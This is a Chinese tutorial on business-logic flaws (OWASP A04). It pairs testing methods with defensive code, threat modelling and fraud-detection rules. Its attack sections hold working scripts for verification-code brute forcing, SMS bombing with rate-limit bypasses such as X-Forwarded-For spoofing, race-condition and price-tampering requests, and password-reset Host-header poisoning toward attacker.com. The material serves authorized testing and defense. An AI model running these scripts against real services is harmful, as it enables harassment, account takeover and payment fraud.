业务逻辑漏洞:锁是好的,门是纸糊的
A04 是 2021 榜单全新加入的一项,也是十项里最"虚"的一项 —— 它不是某个具体漏洞,而是一整类设计层面就错了的问题。别的九项你可以靠改代码修,A04 往往得改设计。
一、设计缺陷 ≠ 实现缺陷
银行级保险柜,装在纸糊的门后面
你买了一个银行级别的保险柜,配了指纹锁、密码锁、机械钥匙三重认证。装好之后你很满意。
然后你把它安在了一扇纸糊的门后面。
小偷不撬保险柜 —— 他把纸门捅破了,保险柜整个搬走。
不安全的设计(Insecure Design) 就是这个意思:每个零件都合格,但整体结构是错的。
先分清楚:这是写错了,还是压根没打算防
这是理解 A04 的核心。同一个现象,可能属于完全不同的两类问题:
| 现象 | 属于实现缺陷(可改代码修) | 属于设计缺陷(需改设计) |
|---|---|---|
| 验证码被爆破 | 验证码校验了但没限频 —— 实现问题 | 压根没设计"失败次数上限"这个机制 —— 设计问题 |
| 订单金额被改 | 前端传的金额后端没校验 —— 实现问题 | 架构上允许客户端提交金额 —— 设计问题 |
| 密码可重置他人账号 | 重置令牌校验写漏了 —— 实现问题 | 密码找回流程只有"回答密保问题"一个因子 —— 设计问题 |
| 商品超卖 | 扣库存没加锁 —— 实现问题 | 下单和扣库存是两个服务且无分布式锁 —— 设计问题 |
💡 判断口诀:"这个 bug 是写错了,还是压根没打算防?" 写错了 = 实现缺陷;没打算防 = 设计缺陷。
这个区分很重要,因为修复方式完全不同:实现缺陷改一行代码,设计缺陷要改流程、加机制,往往涉及产品、后端、风控多个角色。
设计阶段就错的五个原因
- 需求只描述了"正常流程" —— 产品文档写"用户输入手机号 → 收到验证码 → 输入验证码 → 登录成功",但没写"如果有人拿别人的手机号刷一万次会怎样"。
- 安全需求缺失或太抽象 —— 需求里写一句"要注意安全性",等于没写。
- 没有威胁建模 —— 从未系统性地问过"如果攻击者是合法用户,他能干什么"。
- 信任边界划错 —— 把"客户端传来的数据"当成可信输入(金额、数量、用户 ID、价格)。
- 没有考虑并发与时序 —— 单线程测试一切正常,一上并发全部崩坏。
业务逻辑漏洞全景清单
OWASP 数据:CWE 集合 40 个(是十项里 CWE 数量最多的),平均加权利用率 5.79%,影响 6.78%。
典型业务场景清单(这份清单几乎就是业务逻辑漏洞的全景图):
| 类别 | 具体场景 |
|---|---|
| 认证相关 | 密码找回流程可绕过、密保问题答案太简单、重置令牌不过期 |
| 验证码相关 | 短信轰炸、验证码可爆破、验证码复用、验证码在响应包中返回、验证码前端校验 |
| 订单/支付 | 金额篡改、数量负数、优惠券重复使用、运费篡改、积分套现 |
| 并发相关 | 超卖、重复提现、重复领券、并发下重复下单 |
| 流程跳过 | 未支付直接跳到已完成、跳过中间步骤、直接访问后续接口 |
| 权限与身份 | 账号可枚举(登录/注册返回不同提示)、用户名可被遍历 |
| 业务限制缺失 | 无限注册、无限评论、无限领取、无限试用 |
| 信任客户端 | 前端计算价格后端不校验、前端判断库存、前端控制流程跳转 |
📌 真实场景:一个电商的"秒杀"功能。后端校验了库存、校验了活动时间、校验了用户资格 —— 每一项都对。但下单接口没有幂等设计,攻击者用 50 个并发请求同时下单,库存检查全部通过(都看到还剩 1 件),结果卖出了 50 件。每一个检查单独看都是对的,合起来是错的 —— 这就是典型的设计缺陷。
二、没有扫描器能替你思考
先理解业务,再谈漏洞
这是 A04 与其他九项最大的区别:没有任何自动化工具能替你挖业务逻辑漏洞。
原因很简单 —— 工具不知道"你的业务规则是什么"。sqlmap 知道 SQL 语法,但它不知道"一个用户一天只能领 3 张券"是你的业务规则。
所以方法只有一个:把自己当成攻击者,理解业务,然后问"如果……会怎样"。
Step 1:画出业务的完整状态机
以"购买流程"为例,先画出所有状态和转移:
浏览商品 → 加入购物车 → 确认订单 → 支付 → 发货 → 确认收货
↓ ↓ ↓
取消 取消 退款申请
然后对每个转移提问:
- 能否跳过中间状态? (直接调"确认收货"接口?)
- 能否回退? (已退款的订单能否再次发货?)
- 能否重复执行? (重复调用"退款"接口?)
- 能否在错误的状态执行? (未支付就调"申请发票"?)
- 状态判断在哪一端? (前端控制跳转 = 可绕过)Step 2:对每一个"用户输入"问四个问题
| 问题 | 例子 |
|---|---|
| 这个值服务端校验了吗? | 金额、数量、价格、折扣 |
| 这个操作有限频吗? | 发短信、领券、提现、评论 |
| 这个操作是幂等的吗? | 支付、退款、下单 |
| 这个操作有并发保护吗? | 库存扣减、余额扣减 |
Step 3:列出信任边界,逐个质疑
客户端 → 服务端 这一跳,服务端应该信任什么?
答案:只信任"你是谁"(认证凭据),其余一切都不信。
❌ 不信任:金额、数量、价格、用户ID、角色、库存、折扣、流程步骤
✅ 信任:session/token(且要验签)Step 4:枚举"异常输入"
| 输入类型 | 测试值 |
|---|---|
| 负数 | -1、-999999 |
| 零 | 0 |
| 极大值 | 999999999999 |
| 小数 | 0.01、0.001(精度问题) |
| 特殊类型 | 字符串、数组、对象、null |
| 越界 | 超出活动库存、超出账户余额 |
代码审计在这里作用有限,但有几个点能看
设计缺陷在代码里没有明显的"危险函数"特征 —— 代码本身可能是干净的参数化查询、完善的鉴权。所以审计思路要变。
审计问题清单(对着代码逐条问):
【限频】
□ 发短信/邮件接口有没有限频?限频的 key 是什么(手机号?IP?)?能绕过吗(换 IP?加空格?大小写?)?
□ 登录失败有没有计数和锁定?锁定是永久还是临时?会不会被用作"账号锁定攻击"?
【幂等】
□ 支付/退款/提现接口有没有幂等键(idempotency key)?
□ 重复提交同一个订单号会怎样?
□ 网络超时重试会不会导致重复扣款?
【并发】
□ 库存扣减是"先查后改"还是"原子操作"?
❌ if (stock > 0) { stock--; update(); } // 典型竞态
✅ UPDATE t SET stock = stock - 1 WHERE id = ? AND stock >= 1; // 原子
□ 有没有分布式锁?锁的粒度对吗?锁的超时时间合理吗?
【服务端校验】
□ 金额是从数据库读的还是从请求里取的?
□ 库存判断在服务端还是前端?
□ 优惠券是否已使用的判断,是在"标记"还是"查询"?
【流程完整性】
□ 步骤 N+1 的接口,会不会校验步骤 N 已完成?
□ 状态流转有没有白名单(比如只能从 PAID → SHIPPED,不能 CREATED → SHIPPED)?代码特征(能 grep 的少数几条):
# 找"先查后改"的库存/余额模式(竞态嫌疑)
grep -rnE "if\s*\(.*(stock|balance|amount|quota)\s*[><=]" --include=*.java --include=*.py -A3 | grep -iE "update|save|set"
# 找缺失幂等键的资金操作接口
grep -rnE "(pay|refund|withdraw|transfer)" --include=*Controller.java -i | grep -viE "idempot|token|nonce|unique"
# 找短信/邮件发送接口,确认是否有限频
grep -rnE "(sendSms|sendMail|sendCode)" --include=*.java --include=*.py -i
# 然后人工确认调用链上是否有 rateLimit / redis.incr 之类的限频逻辑黑盒:把 Burp 当流程编辑器用
方法:把 Burp 当"流程编辑器"用
核心操作:打乱请求的顺序、重复、并发、改参数。
测试用例模板(对每个关键业务接口都跑一遍):
| 用例 | 操作 | 期望的安全行为 |
|---|---|---|
| 重放 | 同一个请求发两次 | 第二次应失败或被识别为重复 |
| 乱序 | 跳过前序步骤,直接调后续接口 | 应校验前置状态 |
| 改金额 | 改 price/amount 字段 | 服务端应使用库中的价格 |
| 改数量 | 改成负数/超大数 | 应校验范围 |
| 改数量(小数) | quantity=0.5 | 应校验为整数 |
| 并发 | 同时发 20 个相同请求 | 应只有一个成功 |
| 越权 | 换用户 token | 应 403 |
| 改状态 | 改 status 字段 | 服务端不应接受客户端传的状态 |
| 删除字段 | 删掉某个必填字段 | 不应走默认放行逻辑 |
| 增加字段 | 增加额外字段(如 isVip=true) | 服务端不应接受 |
关键请求特征识别:
# 一个典型的"客户端传金额"的危险请求
POST /api/order/create HTTP/1.1
Content-Type: application/json
{
"productId": 1001,
"quantity": 1,
"price": 0.01, ← 🚨 危险信号:价格由客户端提交
"totalAmount": 0.01, ← 🚨 危险信号:总金额由客户端提交
"couponId": 8888,
"addressId": 5
}
# 安全的请求应该长这样
POST /api/order/create HTTP/1.1
{
"productId": 1001,
"quantity": 1, ← 只提交"要什么、要多少",价格服务端自己查
"couponId": 8888,
"addressId": 5
}💡 踩坑提示:看到请求里有
price/amount/total/discount/balance这类字段,第一反应就是改它。我统计过自己挖到的支付类漏洞,超过一半就是"改个数字"这么简单 —— 因为开发习惯了"前端算好,后端直接用"。
并发测试的判断依据:
正常情况:20 个并发请求买 1 件库存商品 → 应只有 1 个成功
异常情况:多个成功 → 存在并发设计缺陷
正常情况:20 个并发提现请求,余额 100 → 应只有 1 个成功(或总额不超 100)
异常情况:20 个全成功,共提现 2000 → 严重资金安全缺陷三、四类高频业务缺陷的复现
⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。
验证码爆破:Intruder 三步
场景:登录/注册的短信验证码是 4-6 位数字,服务端没限制尝试次数。
Step 1:抓包
POST /api/verify-code HTTP/1.1
Host: target.com
Content-Type: application/json
{"phone":"13800138000","code":"1234"}Step 2:发送到 Intruder(Ctrl+I),把 1234 设为 payload 位置
选中 1234 → 点 "Add §"
请求变成: {"phone":"13800138000","code":"§1234§"}Step 3:配置 Payload
Payload type: Brute forcer
Character set: 0123456789
Min length: 4
Max length: 4或者用 Numbers 类型(纯数字更快):
Payload type: Numbers
From: 0000 To: 9999 Step: 1
Min integer digits: 4 ← 关键!保证补零成 4 位Step 4:识别成功响应
点 "Start attack",跑完后:
- 按 Length 列排序,长度明显不同的那个就是成功响应
- 或点 "Grep - Match" 设置成功标志(如 "success":true / "登录成功")💡 踩坑提示:爆破前先手动发一次错误验证码和一次正确验证码(如果有),把两次响应存下来做对比基准。这样 Intruder 跑完能一眼看出哪个是成功。不然一万条结果肉眼根本看不完。
短信轰炸与限频绕过
场景:发短信接口无限频,可对任意手机号无限发短信。
Step 1:确认无限频
# 连续发送 10 次,看是否全部成功
for i in $(seq 1 10); do
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com/api/send-sms \
-H "Content-Type: application/json" \
-d '{"phone":"13800138000"}')
echo "第 $i 次: HTTP $code"
sleep 1
done
# 若 10 次全部 200 → 无限频,短信轰炸成立Step 2:测试限频绕过手法(如果有限频)
# 手法 1:加空格/特殊字符(后端可能 trim 后才判断,但缓存 key 用的是原始的)
curl -X POST https://target.com/api/send-sms -d '{"phone":" 13800138000"}'
curl -X POST https://target.com/api/send-sms -d '{"phone":"13800138000 "}'
# 手法 2:加国际区号前缀
curl -X POST https://target.com/api/send-sms -d '{"phone":"+8613800138000"}'
curl -X POST https://target.com/api/send-sms -d '{"phone":"008613800138000"}'
# 手法 3:参数污染(同一参数传两次)
curl -X POST https://target.com/api/send-sms -d 'phone=13800138000&phone=13800138001'
# 手法 4:换参数名(phone / mobile / tel / phoneNum)
curl -X POST https://target.com/api/send-sms -d '{"mobile":"13800138000"}'
# 手法 5:改 JSON 类型(数字 vs 字符串)
curl -X POST https://target.com/api/send-sms -d '{"phone":13800138000}'
# 手法 6:换 IP(X-Forwarded-For 头欺骗,若限频基于 XFF)
curl -X POST https://target.com/api/send-sms \
-H "X-Forwarded-For: 1.2.3.${RANDOM}" \
-d '{"phone":"13800138000"}'📌 判断依据:限频的 key 是什么决定了能否绕过。基于手机号限频最安全;基于 IP 的可换 IP 绕过;基于 Session 的可换 session 绕过。如果限频逻辑取的是客户端可控的头(如 XFF),那等于没限。
并发验证:Turbo Intruder 比 Intruder 更准
普通 Intruder 的并发控制不精确,测并发缺陷要用 Turbo Intruder(Burp BApp 里的插件)。
# Turbo Intruder 脚本:并发下单测试
# 在 Burp 中:右键请求 → Extensions → Turbo Intruder → Send to Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=50, # 并发连接数,调大以增加竞态成功率
requestsPerConnection=1,
pipeline=False
)
# 同一个请求发 50 次,尽可能同时到达
for i in range(50):
engine.queue(target.req, gate='race1')
# gate 的作用:先把请求都排队,然后一次性"开闸",最大化并发
engine.openGate('race1')
# 等待所有请求完成
engine.complete(timeout=60)
def handleResponse(req, interesting):
# 只记录成功的响应(根据实际业务调整判断条件)
if '200' in req.status or '"success":true' in req.response:
table.add(req)
# 跑完后看结果表格:如果 50 个请求里有多个 200 → 并发设计缺陷成立
# 对比:库存只有 1 件,但有 20 个订单创建成功 → 超卖替代方案:用 Bash + curl 做简单并发测试
#!/usr/bin/env bash
# 简单并发测试:同时发起 N 个请求
# 用法: bash race.sh 50
N=${1:-20}
URL="https://target.com/api/order/create"
TOKEN="eyJhbGciOiJIUzI1NiIs..."
DATA='{"productId":1001,"quantity":1}'
echo "[*] 发起 $N 个并发请求..."
# 后台并发发起所有请求
for i in $(seq 1 "$N"); do
(
code=$(curl -s -o "/tmp/resp_$i.txt" -w "%{http_code}" -X POST "$URL" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "$DATA" --max-time 15)
echo "$code" >> /tmp/codes.txt
) &
done
wait # 等待所有后台任务完成
echo "[*] 响应码统计:"
sort /tmp/codes.txt | uniq -c | sort -rn
echo "[*] 结果文件: /tmp/resp_*.txt"
echo "[*] 若成功(200)的数量 > 库存数量 → 存在并发设计缺陷"
rm -f /tmp/codes.txt金额篡改、负数与精度攻击
#!/usr/bin/env bash
# 业务逻辑异常输入测试集
URL="https://target.com/api/order/create"
TOKEN="eyJhbGciOiJIUzI1NiIs..."
test_case() {
local name="$1" data="$2"
echo "----- $name -----"
resp=$(curl -s -X POST "$URL" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "$data" --max-time 10)
echo "请求: $data"
echo "响应: $(echo "$resp" | head -c 300)"
echo
}
# 1. 改金额
test_case "改金额为 0.01" '{"productId":1001,"quantity":1,"price":0.01}'
# 期望:服务端忽略客户端 price,使用库中价格;或被拒绝
# 2. 数量为负数
test_case "数量为负" '{"productId":1001,"quantity":-1}'
# 期望:应被拒绝。若接受且总价为负 → 严重漏洞(可"反向支付")
# 3. 数量为零
test_case "数量为零" '{"productId":1001,"quantity":0}'
# 期望:应被拒绝
# 4. 数量为小数
test_case "数量为小数" '{"productId":1001,"quantity":0.5}'
# 期望:应被拒绝(商品按件卖)
# 5. 数量极大值(整数溢出)
test_case "数量极大" '{"productId":1001,"quantity":999999999999}'
# 期望:应被拒绝。若总价溢出成负数 → 严重漏洞
# 6. 精度攻击
test_case "金额精度" '{"productId":1001,"quantity":1,"price":0.001}'
# 期望:应被拒绝或四舍五入
# 7. 增加未授权字段
test_case "注入 VIP 字段" '{"productId":1001,"quantity":1,"isVip":true,"discount":0.1}'
# 期望:服务端不应接受 isVip / discount 这类客户端字段
# 8. 优惠券重复使用
test_case "优惠券复用" '{"productId":1001,"quantity":1,"couponId":8888}'
# 连发两次,第二次应失败(券已使用)
# 9. 改状态字段
test_case "篡改订单状态" '{"productId":1001,"quantity":1,"status":"PAID"}'
# 期望:服务端不接受客户端传的 status
# 10. 删除必填字段
test_case "缺失字段" '{"quantity":1}'
# 期望:应返回参数错误,不应走默认逻辑密码找回:设计缺陷的重灾区
密码找回是设计缺陷的重灾区。测试清单:
#!/usr/bin/env bash
# 密码重置流程设计缺陷测试清单
# 用法: bash reset_flow_test.sh
BASE="https://target.com"
VICTIM="victim@example.com"
ATTACKER="attacker@example.com"
echo "===== 1. 验证码是否在响应中返回 ====="
# 最经典的设计缺陷:为了"方便调试"把验证码直接返回
resp=$(curl -s -X POST "$BASE/api/forgot-password" \
-H "Content-Type: application/json" -d "{\"email\":\"$ATTACKER\"}")
echo "$resp" | head -c 500
# 若响应中包含 code / token / verifyCode → 严重设计缺陷
echo; echo
echo "===== 2. 重置令牌是否可复用 ====="
# 用同一个令牌重置两次密码
TOKEN="从邮件/响应中获取"
curl -s -X POST "$BASE/api/reset-password" \
-H "Content-Type: application/json" \
-d "{\"token\":\"$TOKEN\",\"newPassword\":\"Pass123!\"}" | head -c 200
echo " ← 第一次"
curl -s -X POST "$BASE/api/reset-password" \
-H "Content-Type: application/json" \
-d "{\"token\":\"$TOKEN\",\"newPassword\":\"Pass456!\"}" | head -c 200
echo " ← 第二次(应失败:"令牌已使用")"
echo; echo
echo "===== 3. 重置令牌是否绑定身份 ====="
# 用 A 的令牌去重置 B 的密码
curl -s -X POST "$BASE/api/reset-password" \
-H "Content-Type: application/json" \
-d "{\"token\":\"$TOKEN\",\"email\":\"$VICTIM\",\"newPassword\":\"Hacked123!\"}" | head -c 200
# 若成功 → 令牌与身份未绑定,可直接重置任意账号
echo; echo
echo "===== 4. 是否可枚举账号 ====="
echo "存在的账号:"
curl -s -X POST "$BASE/api/forgot-password" \
-H "Content-Type: application/json" -d "{\"email\":\"$VICTIM\"}" | head -c 200
echo; echo "不存在的账号:"
curl -s -X POST "$BASE/api/forgot-password" \
-H "Content-Type: application/json" -d '{"email":"nonexist-xyz@example.com"}' | head -c 200
# 若两次响应不同(如"已发送" vs "用户不存在")→ 可用于枚举注册用户
echo; echo
echo "===== 5. Host 头污染 ====="
# 修改 Host 头,让重置链接指向攻击者域名
curl -s -X POST "$BASE/api/forgot-password" \
-H "Content-Type: application/json" \
-H "Host: attacker.com" \
-d "{\"email\":\"$VICTIM\"}"
# 若邮件中的重置链接使用了 Host 头 → 受害者点击后令牌泄露给攻击者
echo; echo
echo "===== 完成 ====="密码重置的安全设计标准(作为对照):
✅ 令牌:密码学随机(≥32字节)、一次性、15分钟内有效
✅ 令牌与用户 ID 绑定(不能 A 的令牌重置 B 的密码)
✅ 重置成功后,令牌立即失效 + 强制所有会话登出
✅ 响应统一(无论账号是否存在,都返回"若账号存在已发送")
✅ 重置链接的域名从服务端配置读取,不依赖 Host 头
✅ 重置流程需要二次验证(如已登录用户需重新输入原密码)四、从威胁建模到风控规则
威胁建模:把安全需求写进验收标准
A04 的根治手段不在代码层,在设计评审阶段。最实用的方法是 STRIDE 威胁建模。
STRIDE 六问(对每个功能/数据流都问一遍):
| 字母 | 威胁 | 要问的问题 |
|---|---|---|
| Spoofing 仿冒 | 身份伪造 | 身份怎么验证?凭据能否被伪造/窃取? |
| Tampering 篡改 | 数据篡改 | 数据完整性怎么保证?客户端传的值可信吗? |
| Repudiation 抵赖 | 否认操作 | 操作有日志吗?能追溯吗? |
| Information Disclosure 信息泄露 | 信息泄露 | 响应里泄露了什么?错误信息详细吗? |
| Denial of Service 拒绝服务 | 服务不可用 | 有限频吗?有资源消耗上限吗? |
| Elevation of Privilege 权限提升 | 权限提升 | 权限校验在哪一层?默认拒绝吗? |
落地:一份简化的威胁建模模板
## 功能:用户提现
### 数据流
用户 → [提现接口] → [余额服务] → [风控服务] → [支付网关]
### 信任边界
- 用户 → 服务端:不可信(全部输入需校验)
- 服务端 → 支付网关:半可信(需签名校验)
### STRIDE 分析
| 威胁 | 场景 | 缓解措施 |
|---|---|---|
| T 篡改 | 客户端传提现金额为负 | 服务端校验范围,只信 DB 中的余额 |
| T 篡改 | 并发提现绕过余额检查 | 数据库原子操作 + 分布式锁 |
| R 抵赖 | 用户否认提现 | 全链路日志 + 短信确认 |
| D 拒绝服务 | 高频提现请求打垮支付网关 | 接口限频(用户维度 + 全局维度) |
| E 权限提升 | 修改 userId 提现他人余额 | 服务端从 token 取 userId,不信任请求参数 |
| S 仿冒 | 盗用 token 提现 | 大额提现二次验证(短信/人脸) |
### 安全需求(写进需求文档)
1. 提现金额必须 > 0 且 ≤ 账户余额,服务端校验
2. 单用户每日提现次数 ≤ 3,单笔限额 50000
3. 提现接口必须幂等,幂等键 = userId + orderNo
4. 余额扣减必须为数据库原子操作
5. 提现记录全量审计日志,保留 180 天
6. 大额提现(> 10000)需二次验证💡 落地建议:不要把威胁建模搞成"写文档走过场"。最有效的形式是一个 30 分钟的评审会:产品讲一遍流程,安全对照 STRIDE 六问逐个问,把结论直接写成上面表格里的"安全需求",然后让这些需求进需求文档的验收标准。写进验收标准的需求才会被测试,否则就是纸面文章。
限频要防绕过:手机号规范化是前提
// ✅ 基于 Redis 的分布式限频(手机号维度 + IP 维度双重限频)
@Component
public class RateLimiter {
@Autowired private StringRedisTemplate redis;
/**
* 滑动窗口限频
* @param key 限频键(如 "sms:phone:13800138000")
* @param maxCount 窗口内最大次数
* @param windowSec 窗口秒数
*/
public boolean tryAcquire(String key, int maxCount, int windowSec) {
String redisKey = "rate:" + key;
long now = System.currentTimeMillis();
// Lua 脚本保证原子性(避免并发下的 check-then-act 竞态)
String lua =
"local current = redis.call('ZCOUNT', KEYS[1], ARGV[1], ARGV[2]) " +
"if current < tonumber(ARGV[3]) then " +
" redis.call('ZADD', KEYS[1], ARGV[2], ARGV[2]) " +
" redis.call('PEXPIRE', KEYS[1], ARGV[4]) " +
" return 1 " +
"else return 0 end";
Long result = redis.execute(
new DefaultRedisScript<>(lua, Long.class),
Collections.singletonList(redisKey),
String.valueOf(now - windowSec * 1000), // 窗口起始
String.valueOf(now), // 窗口结束
String.valueOf(maxCount),
String.valueOf(windowSec * 1000) // TTL
);
return result != null && result == 1;
}
// 发送短信时的使用
public Result sendSms(String phone, String clientIp) {
// 关键:先做手机号规范化(去掉空格、统一区号),避免绕过
String normalizedPhone = normalizePhone(phone);
// 维度1:手机号 —— 1分钟1次,1小时5次,1天10次
if (!tryAcquire("sms:phone:" + normalizedPhone, 1, 60)) {
return Result.error("发送过于频繁,请稍后再试");
}
if (!tryAcquire("sms:phone:h:" + normalizedPhone, 5, 3600)) {
return Result.error("今日发送次数已达上限");
}
// 维度2:IP —— 1小时20次(防止换手机号轰炸)
if (!tryAcquire("sms:ip:" + clientIp, 20, 3600)) {
return Result.error("请求过于频繁");
}
// 全部通过才真正发送
return smsService.send(normalizedPhone);
}
// 手机号规范化:这是防绕过的关键
private String normalizePhone(String phone) {
if (phone == null) return "";
// 去空格、横杠、括号
String p = phone.replaceAll("[\\s\\-()]", "");
// 统一去掉 +86 / 0086 前缀
p = p.replaceAll("^(\\+?86)", "");
return p;
}
}💡 踩坑提示:限频必须做手机号规范化。我见过太多限频被
+86前缀、空格、大小写绕过的案例 —— 因为后端"发送时"会规范化,但"限频 key"用的是原始输入,两者不一致。
幂等:幂等键 + 数据库唯一索引双保险
// ✅ 幂等键设计:防止重复提交导致的重复扣款/重复下单
@RestController
public class PaymentController {
@Autowired private StringRedisTemplate redis;
@PostMapping("/api/pay")
public Result pay(@RequestBody PayRequest req,
@RequestHeader("Idempotency-Key") String idempotencyKey) {
// idempotencyKey 由客户端生成(UUID),重试时使用同一个 key
String redisKey = "idem:" + idempotencyKey;
// SET NX EX:原子性地抢占,成功返回 true
Boolean acquired = redis.opsForValue()
.setIfAbsent(redisKey, "PROCESSING", Duration.ofMinutes(10));
if (Boolean.FALSE.equals(acquired)) {
// key 已存在 → 说明是重复请求
String status = redis.opsForValue().get(redisKey);
if ("PROCESSING".equals(status)) {
return Result.error("请求正在处理中,请勿重复提交");
}
// 已处理完成 → 返回首次的结果(幂等的核心:返回相同结果而非报错)
return Result.success(loadOriginalResult(idempotencyKey));
}
try {
PaymentResult result = doPay(req);
// 处理成功,记录结果
redis.opsForValue().set(redisKey, "DONE:" + result.getOrderNo(),
Duration.ofHours(24));
return Result.success(result);
} catch (Exception e) {
// 失败时删除 key,允许客户端重试
redis.delete(redisKey);
throw e;
}
}
}数据库层的幂等保障:
-- 唯一索引是幂等的最强保障(数据库层面兜底)
-- 订单表:业务唯一键加唯一索引
ALTER TABLE orders ADD UNIQUE KEY uk_user_product_seckill (user_id, product_id, seckill_id);
-- 这样即使应用层幂等失效,数据库也会拒绝重复插入
-- 应用层捕获 DuplicateKeyException 后返回"请勿重复下单"并发:原子 UPDATE 优于分布式锁
// ❌ 危险:先查后改,存在竞态窗口
public boolean deductStock(Long productId, int count) {
Product p = productMapper.selectById(productId);
if (p.getStock() >= count) { // ← 检查
p.setStock(p.getStock() - count); // ← 修改(这中间有时间差!)
productMapper.updateById(p);
return true;
}
return false;
}
// 并发下:100 个请求同时通过检查,然后各自扣减 → 超卖
// ✅ 方案 1:数据库原子操作(首选,最简单可靠)
@Update("UPDATE product SET stock = stock - #{count} " +
"WHERE id = #{productId} AND stock >= #{count}")
int deductStockAtomic(@Param("productId") Long productId, @Param("count") int count);
public boolean deductStock(Long productId, int count) {
// 影响行数 = 1 表示扣减成功;= 0 表示库存不足
return productMapper.deductStockAtomic(productId, count) > 0;
}
// 原理:UPDATE 语句在数据库层面是原子的,WHERE 条件和 SET 在同一语句内完成,
// 不存在"检查"和"修改"之间的时间差
// ✅ 方案 2:乐观锁(适合读多写少,需要重试机制)
@Update("UPDATE product SET stock = stock - #{count}, version = version + 1 " +
"WHERE id = #{productId} AND version = #{version} AND stock >= #{count}")
int deductWithVersion(@Param("productId") Long id,
@Param("count") int count,
@Param("version") int version);
// ✅ 方案 3:分布式锁(适合复杂业务逻辑,如涉及多表)
public boolean createOrder(Long productId, int count) {
String lockKey = "lock:product:" + productId;
RLock lock = redissonClient.getLock(lockKey);
try {
// 尝试加锁,最多等 3 秒,锁 10 秒后自动释放(防死锁)
if (lock.tryLock(3, 10, TimeUnit.SECONDS)) {
// 在锁内执行完整业务逻辑
return doCreateOrder(productId, count);
}
return false; // 拿不到锁,快速失败
} finally {
if (lock.isHeldByCurrentThread()) {
lock.unlock(); // 必须判断是否是自己的锁,防止误释放
}
}
}选择建议:
| 场景 | 推荐方案 |
|---|---|
| 简单库存/余额扣减 | 数据库原子 UPDATE(方案 1),最简单最可靠 |
| 读多写少、并发不高 | 乐观锁(方案 2),无锁开销 |
| 复杂业务(多表、多步骤) | 分布式锁(方案 3) |
| 秒杀超高并发 | Redis 预扣减 + 异步落库 + 队列削峰 |
金额永远服务端算,永远用 BigDecimal
// ✅ 正确的下单逻辑:价格、库存、优惠券全部服务端计算
@Transactional
public OrderResult createOrder(CreateOrderRequest req, Long userId) {
// 1. 从数据库读取商品(价格以 DB 为准,绝不取客户端传的)
Product product = productMapper.selectById(req.getProductId());
if (product == null || !product.isOnSale()) {
throw new BizException("商品不存在或已下架");
}
// 2. 校验数量(范围、类型)
if (req.getQuantity() <= 0 || req.getQuantity() > 100) {
throw new BizException("购买数量不合法");
}
// 3. 服务端计算金额(BigDecimal,绝不用 double 处理金额!)
BigDecimal unitPrice = product.getPrice();
BigDecimal totalAmount = unitPrice.multiply(BigDecimal.valueOf(req.getQuantity()));
// 4. 优惠券校验(服务端查,校验归属、有效期、是否已用)
BigDecimal discount = BigDecimal.ZERO;
if (req.getCouponId() != null) {
Coupon coupon = couponMapper.selectById(req.getCouponId());
if (coupon == null
|| !coupon.getUserId().equals(userId) // 归属校验
|| coupon.getStatus() != CouponStatus.UNUSED // 未使用校验
|| coupon.getExpireAt().isBefore(LocalDateTime.now())) { // 有效期校验
throw new BizException("优惠券不可用");
}
if (totalAmount.compareTo(coupon.getMinAmount()) < 0) {
throw new BizException("未满足优惠券使用门槛");
}
discount = coupon.getAmount();
// 原子性地标记优惠券为已使用(防并发复用)
int used = couponMapper.markUsed(coupon.getId(), userId);
if (used == 0) {
throw new BizException("优惠券已被使用");
}
}
// 5. 最终金额(服务端计算,客户端传的一律忽略)
BigDecimal payAmount = totalAmount.subtract(discount).max(BigDecimal.ZERO);
// 6. 原子扣减库存
if (!stockService.deduct(req.getProductId(), req.getQuantity())) {
throw new BizException("库存不足"); // 事务回滚,优惠券也恢复
}
// 7. 创建订单,状态由服务端设定(不接受客户端传的 status)
Order order = new Order();
order.setUserId(userId); // 用户 ID 从 token 取,不从请求取
order.setPayAmount(payAmount);
order.setStatus(OrderStatus.WAIT_PAY); // 服务端设定初始状态
orderMapper.insert(order);
return OrderResult.of(order);
}金额必须使用 BigDecimal:
// ❌ 危险:double 有精度问题
double price = 0.1;
double total = price * 3; // = 0.30000000000000004
// 攻击者可利用精度差异构造 0.001 级别的套利
// ✅ 正确:BigDecimal 且用字符串构造
BigDecimal price = new BigDecimal("0.1");
BigDecimal total = price.multiply(new BigDecimal("3")); // = 0.3 精确
// 注意:new BigDecimal(0.1) 也有精度问题,必须用字符串构造器风控规则:WAF 管不了业务逻辑
业务逻辑漏洞无法通过 WAF 规则根治(因为每个请求单独看都是"合法"的),必须靠行为风控:
# 风控规则集示例
# 规则 1:异常下单频率
- id: abnormal-order-frequency
condition:
metric: order_count
group_by: user_id
window: 60s
threshold: 10 # 1 分钟 10 单
action: [alert, manual_review]
severity: high
# 规则 2:金额异常(远低于商品正常价)
- id: abnormal-order-amount
condition:
metric: order_amount
compare: less_than
threshold: 0.3 # 低于历史均价的 30%
action: [block, alert]
severity: critical
note: "可能是金额篡改攻击"
# 规则 3:同一优惠券多次尝试使用
- id: coupon-reuse-attempt
condition:
metric: coupon_use_attempt
group_by: [coupon_id, user_id]
window: 300s
threshold: 2
action: [alert]
severity: medium
# 规则 4:验证码爆破检测
- id: verify-code-bruteforce
condition:
metric: verify_code_fail
group_by: phone
window: 300s
threshold: 5
action: [block_phone_1h, alert]
severity: high
# 规则 5:短信轰炸检测
- id: sms-bombing
condition:
metric: sms_send_count
group_by: [phone, ip]
window: 3600s
threshold: 10
action: [block, alert]
severity: high
# 规则 6:并发请求检测(同一接口高频同参)
- id: concurrent-identical-request
condition:
metric: identical_request_count
group_by: [user_id, endpoint, request_hash]
window: 5s
threshold: 5
action: [rate_limit, alert]
severity: high
note: "可能是并发漏洞利用"埋点要求:风控的前提是数据。关键业务操作必须埋点,字段至少包含:
user_id, session_id, ip, ua, device_fingerprint,
endpoint, request_params(脱敏), response_code,
timestamp, trace_id回归验证(含并发用例)
#!/usr/bin/env bash
# 业务逻辑设计缺陷回归验证
BASE="https://target.com"
TOKEN="eyJhbGciOiJIUzI1NiIs..."
PASS=0; FAIL=0
check() {
# check <用例名> <期望结果描述> <实际HTTP码> <期望码>
if [ "$3" = "$4" ]; then
echo "[PASS] $1 (期望 $4, 实际 $3)"; PASS=$((PASS+1))
else
